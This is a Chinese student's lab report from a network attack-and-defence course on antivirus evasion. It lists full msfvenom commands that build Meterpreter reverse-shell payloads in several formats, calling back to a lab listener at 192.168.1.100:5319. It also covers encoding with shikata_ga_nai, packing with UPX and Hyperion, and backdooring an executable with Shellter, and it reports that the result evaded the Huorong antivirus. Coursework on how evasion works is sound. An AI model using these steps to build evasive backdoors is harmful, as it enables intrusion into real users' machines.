2019-2020-2 20175319江野《网络对抗技术》Exp3 免杀原理与实践

1 实验内容

  • 1.1 方法(3分)
    • 正确使用msf编码器(0.5分),
    • msfvenom生成如jar之类的其他文件(0.5分),
    • veil(0.5分),
    • 加壳工具(0.5分),
    • 使用C + shellcode编程(0.5分),
    • 使用其他课堂未介绍方法(0.5分)
  • 1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)
    (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
  • 1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

1.1.1 正确使用msf编码器

  • VirusTotalvirscan
    集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。
    如果上传的程序所有软件都杀不出来,virustotal就会把它交给AV厂商们了,然后...在杀毒库更新前,你还可以使用一段时间。
    Virustatol不包括各AV软件的行为分析部分(behavioral analysis)。但它自己开发了自己的行为分析引擎。
    本实验使用VirusTotal进行检测
  • msfvenom直接生成meterpreter可执行文件,使用实验2中生成的20175319.exe进行检测,检出率为60/71,以此为参照。
  • Msfvenom使用编码器
    • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.100 LPORT=5319 -f exe > 20175319-encoded.exe进行一次编码

      检测结果
    • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.1.100 LPORT=5319 -f exe > 20175319-encoded10.exe编码10次

      检测结果
  • 结果显示,编码会略微降低检出率,但是基本没变化。

1.1.2 msfvenom生成如jar之类的其他文件

  • 生成javamsfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=5319 W >20175319.jar

    检测结果
  • 生成phpmsfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=5319 -f raw >20175319.php

    检测结果
  • 生成jspmsfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.100 LPORT=5319 R >20175319.jsp

    检测结果
  • 生成aspmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=5319 -f asp > 20175319.asp

    检测结果
  • 生成android文件msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=5319 R >20175319.apk

    检测结果

1.1.3 veil

Veil-evasion是用其他语言如c,c#,phython,ruby,go,powershell等重写了meterperter,然后再通过不同方式编译成exe,共性特征比较少。
本次实验选择C语言进行

检测结果

1.1.4 加壳工具

  • 压缩壳UPX
    upx 20175319.exe -o 20175319upx.exe

    检测结果
  • 加密壳Hyperion
    还有一种,其实也算加壳,最早在2012年Hyperion文献中就有描述,也有软件实现。
    在Kali里有hyperion的实现
    进入文件夹/usr/share/windows-resources/hyperion/
    在Linux下,用Wine来执行windows应用在Linux下,用Wine来执行windows应用wine hyperion.exe -v 20175319.exe 20175319hyed.exe


    检测结果

1.1.5 使用C+shellcode编程

  • 生成一个c语言格式的Shellcode数组msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=5319 -f c
  • win10下使用vc6.0把上面的数组拿来编写C语言程序
  • 在win10下运行程序产生的文件会直接被删除

    因此把20175319.c拷到kali虚拟机中执行

    检测结果

1.1.6 使用其他课堂未介绍方法——shellter

  • 本人使用的虚拟机自带了shellter,因此跳过安装部分
  • 输入shellter,出现下图
  • 输入A,选择自动模式,输入20175319sh.exe的绝对路径
  • 输入Y,以隐形模式进入
  • 输入L,编号选择1,即基于TCP的反向链接
  • 输入主机IP地址和监听的端口
  • 回车后,一个含有后门的文件制作成功
  • 再利用upx对文件进行加壳upx 20175319sh.exe -o 20175319shupx.exe

  • 检测结果

1.2 通过组合应用各种技术实现恶意代码免杀

步骤1.1.6中产生的20175319shupx.exe文件成功实现免杀

1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

目标机:win10
杀毒软件:火绒
版本:5.0.41.7
病毒库更新时间:2020-04-03

回连测试

2 实验中遇到的问题

  • 问题1:1.1.1中Msfvenom使用编码器时出现错误

    解决方案:经检查发现是老师指导书给出代码的‘’是中文字符,换成英文字符即可解决。

3 基础问题回答

  • (1)杀软是如何检测出恶意代码的?
    • 1.基于特征码的检测
    • 2.启发式恶意软件检测
    • 3.基于行为的恶意软件检测
  • (2)免杀是做什么?
    对恶意软件进行处理,让它不被杀毒软件所检测。
  • (3)免杀的基本方法有哪些?
    • 改变特征码
    • 改变行为

4 开启杀软能绝对防止电脑中恶意代码吗?

不能,从本次实验可以看出,一些通过免杀操作的病毒软件无法被杀软识别出来。

5 实验收获与感想

本次实验我尝试了免杀的几种基本手段,在自己成功实现免杀以后,认识到仅仅依靠杀毒软件来实现计算机的安全防护是不够的,平时也应该多加小心,即时更新杀毒软件,多加注意进程操作,警惕异常现象。

posted @ 2020-04-03 19:27  20175319江野  阅读(214)  评论(0编辑  收藏  举报